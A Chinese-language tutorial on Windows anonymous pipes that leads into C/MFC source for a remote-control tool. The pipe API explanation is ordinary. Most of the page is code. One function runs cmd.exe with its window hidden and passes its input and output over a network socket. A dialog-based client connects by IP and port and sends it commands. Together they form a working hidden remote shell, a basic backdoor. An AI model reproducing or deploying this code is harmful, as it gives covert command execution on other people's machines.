匿名管道是一种未命名的、单向管道,通常用来在一个父进程和一个子进程之间传输数据。匿名的管道只能实现本地机器上两个进程间的通信,而不能实现跨网络的通信。
匿名管道
匿名管道是一种未命名的、单向管道。通常用来在父进程和子进程之间传输数据。匿名管道总是本地的,不能在网络之间传递数据。
匿名管道操作
CreatePipe函数创建一个匿名管道,并且返回两个句柄:一个读管道的句柄和一个写管道的句柄。读句柄具有管道的只读权限,写句柄具有管道的只写权 限。为了利用管道交换数据,管道服务端必须把管道句柄传给另一个进程。通常情况下,这是通过继承实现的(参见1.1.2);就是说,父进程允许子进程继承 这个句柄。进程也可以使用DuplicateHandle函数复制一个管道句柄,再通过一些进程间通信机制,比如DDE或者共享内存,把它发送给另一个不 相关的进程。
管道服务端可以给管道服务端发送读句柄或者写句柄,这取决于客户端要用这个管道发送数据还是获取数据。要从管道读取数据,以管道的读句柄为参数调用 ReadFile函数。当另一个进程向管道写入数据是,ReadFile函数返回。如果管道的所有写句柄被关闭,或者读取数据时有错误发 生,ReadFile函数也会返回。
要向管道写入数据,以管道的写句柄问参数,调用WriteFile函数。数据被完全写入管道,或者出错,WriteFile将会返回。如果管道的缓存已 满,且还有尚未写完的数据,直到另一个进程从管道读取数据前,WriteFile函数都不会返回。缓存的大小是在管道服务端调用CreatePipe函数 时指定的。
匿名管道不支持异步读写。这意味着不能使用ReadFileEx和WriteFileEx函数读写匿名管道。另外,使用匿名管道时,ReadFile和WriteFile函数的lpOverlapped参数也会被忽略。
匿名管道会一直存在,直到所有的读写句柄全部被关闭。进程可以调用CloseHandle函数关闭管道句柄。进程终止时,所有的管道句柄也会被自动关闭。
双匿名管道实现通信
#include <windows.h> #include <stdio.h> //双匿名管道实现写入读取 int cmd_shell(SOCKET target) { STARTUPINFO g_stStartUp; PROCESS_INFORMATION g_stProcInfo; HANDLE reHandle1,wrHandle1; HANDLE reHandle2,wrHandle2; char enter_key[2] = {0x0d,0x0a}; //填充SECURITY_ATTRIBUTES结构 SECURITY_ATTRIBUTES stSecurity; stSecurity.nLength = sizeof(SECURITY_ATTRIBUTES); stSecurity.lpSecurityDescriptor = NULL; stSecurity.bInheritHandle = TRUE;//继承性 //创建两个管道 CreatePipe(&reHandle1,&wrHandle1,&stSecurity,0); CreatePipe(&reHandle2,&wrHandle2,&stSecurity,0); //创建进程前填充STARTUPINFO结构 GetStartupInfo(&g_stStartUp); g_stStartUp.hStdInput = reHandle1; g_stStartUp.hStdOutput = wrHandle2; g_stStartUp.hStdError = wrHandle2; g_stStartUp.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; g_stStartUp.wShowWindow = SW_HIDE; //创建进程CreateProcess启动这个控制台应用程序、 if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS,NULL,NULL,&g_stStartUp,&g_stProcInfo)) { DWORD bytes_read,bytes_write,ret; char buf[512] = {0}; while(1) { memset(buf,'\0',512); PeekNamedPipe(reHandle2,buf,512,&bytes_read,NULL,NULL); if(bytes_read != 0) { ret = ReadFile(reHandle2,buf,bytes_read,&bytes_read,NULL); send(target,buf,strlen(buf),0); if(ret<=0) { fprintf(stderr,"error on pipe %d",GetLastError());break; } } else { bytes_read = recv(target,buf,512,0); printf("%s",buf); if(bytes_read<=0) { fprintf(stderr,"error %d",GetLastError()); } WriteFile(wrHandle1,buf,strlen(buf),&bytes_write,NULL); WriteFile(wrHandle1,enter_key,2,&bytes_write,NULL); if(strcmp(buf,"exit") == 0) { send(target,"连接关闭",8,0); break; } } } Sleep(10); } printf("now Closing\n"); CloseHandle(g_stProcInfo.hProcess); CloseHandle(g_stProcInfo.hThread); printf("now closing Pipe\n"); return 0; }
远程控制客户端加入匿名管道通信
#include "stdafx.h" #include "客户端.h" #include "客户端Dlg.h" #include <winsock.h> #pragma comment(lib,"ws2_32") DWORD WINAPI ServerThread(LPVOID lparam); DWORD WINAPI GoThread(LPVOID lparam); #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif SOCKET server,client; SOCKADDR_IN serveraddr; char szGo[64]; ///////////////////////////////////////////////////////////////////////////// // CAboutDlg dialog used for App About class CAboutDlg : public CDialog { public: CAboutDlg(); // Dialog Data //{{AFX_DATA(CAboutDlg) enum { IDD = IDD_ABOUTBOX }; //}}AFX_DATA // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CAboutDlg) protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support //}}AFX_VIRTUAL // Implementation protected: //{{AFX_MSG(CAboutDlg) //}}AFX_MSG DECLARE_MESSAGE_MAP() }; CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) { //{{AFX_DATA_INIT(CAboutDlg) //}}AFX_DATA_INIT } void CAboutDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CAboutDlg) //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) //{{AFX_MSG_MAP(CAboutDlg) // No message handlers //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CMyDlg dialog CMyDlg::CMyDlg(CWnd* pParent /*=NULL*/) : CDialog(CMyDlg::IDD, pParent) { //{{AFX_DATA_INIT(CMyDlg) m_ipaddr = _T(""); m_port = 0; //}}AFX_DATA_INIT // Note that LoadIcon does not require a subsequent DestroyIcon in Win32 m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } void CMyDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CMyDlg) DDX_Text(pDX, IDC_IPADDR, m_ipaddr); DDX_Text(pDX, IDC_PORT, m_port); //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CMyDlg, CDialog) //{{AFX_MSG_MAP(CMyDlg) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_CONNECT, OnConnect) ON_BN_CLICKED(IDC_GO, OnGo) ON_BN_CLICKED(IDC_CLEAR, OnClear) //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CMyDlg message handlers BOOL CMyDlg::OnInitDialog() { CDialog::OnInitDialog(); // Add "About..." menu item to system menu. // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon //初始化库 SetDlgItemText(IDC_IPADDR,"127.0.0.1"); SetDlgItemText(IDC_PORT,"1234"); UpdateData(true); WSADATA wsadata; WORD word = MAKEWORD(2,2); WSAStartup(word,&wsadata); return TRUE; // return TRUE unless you set the focus to a control } void CMyDlg::OnSysCommand(UINT nID, LPARAM lParam) { if ((nID & 0xFFF0) == IDM_ABOUTBOX) { CAboutDlg dlgAbout; dlgAbout.DoModal(); } else { CDialog::OnSysCommand(nID, lParam); } } // If you add a minimize button to your dialog, you will need the code below // to draw the icon. For MFC applications using the document/view model, // this is automatically done for you by the framework. void CMyDlg::OnPaint() { if (IsIconic()) { CPaintDC dc(this); // device context for painting SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); // Center icon in client rectangle int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // Draw the icon dc.DrawIcon(x, y, m_hIcon); } else { CDialog::OnPaint(); } } // The system calls this to obtain the cursor to display while the user drags // the minimized window. HCURSOR CMyDlg::OnQueryDragIcon() { return (HCURSOR) m_hIcon; } void CMyDlg::OnConnect() { UpdateData(true); CreateThread(NULL,NULL,ServerThread,this,NULL,NULL); } DWORD WINAPI ServerThread(LPVOID lparam) { CMyDlg *pDlg = (CMyDlg *)lparam; server = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); serveraddr.sin_family = AF_INET; serveraddr.sin_port = htons(pDlg->m_port); serveraddr.sin_addr.S_un.S_addr = inet_addr(pDlg->m_ipaddr); client = connect(server,(SOCKADDR *)&serveraddr,sizeof(serveraddr)); if(client == SOCKET_ERROR) { MessageBox(NULL,"SORRY","连接出错",MB_OK); return -1; } MessageBox(NULL,"CONGRATULATE!","连接成功",MB_OK); pDlg->SetDlgItemText(IDC_INFO,"连接成功"); char szRecv[1024]; CString str0,str1; memset(szRecv,0,1024); while(1) { recv(server,szRecv,1024,0); pDlg->GetDlgItemText(IDC_READ,str1); str0 = szRecv; str0 += "\r\n"; str0 += str1; pDlg->SetDlgItemText(IDC_READ,str0); } return 0; } void CMyDlg::OnGo() { memset(szGo,0,64); GetDlgItem(IDC_WRITE)->GetWindowTextA(szGo,64); CreateThread(NULL,0,GoThread,this,NULL,NULL); } DWORD WINAPI GoThread(LPVOID lparam) { CMyDlg *pDlg = (CMyDlg *)lparam; char enter_key[2] = {0x0d,0x0a}; send(server,szGo,sizeof(szGo),0); if(strcmp(szGo,"exit") == 0) { Sleep(100); pDlg->SetDlgItemText(IDC_INFO,"未连接"); closesocket(server); closesocket(client); WSACleanup(); exit(0); } return 0; } void CMyDlg::OnClear() { SetDlgItemText(IDC_READ,""); }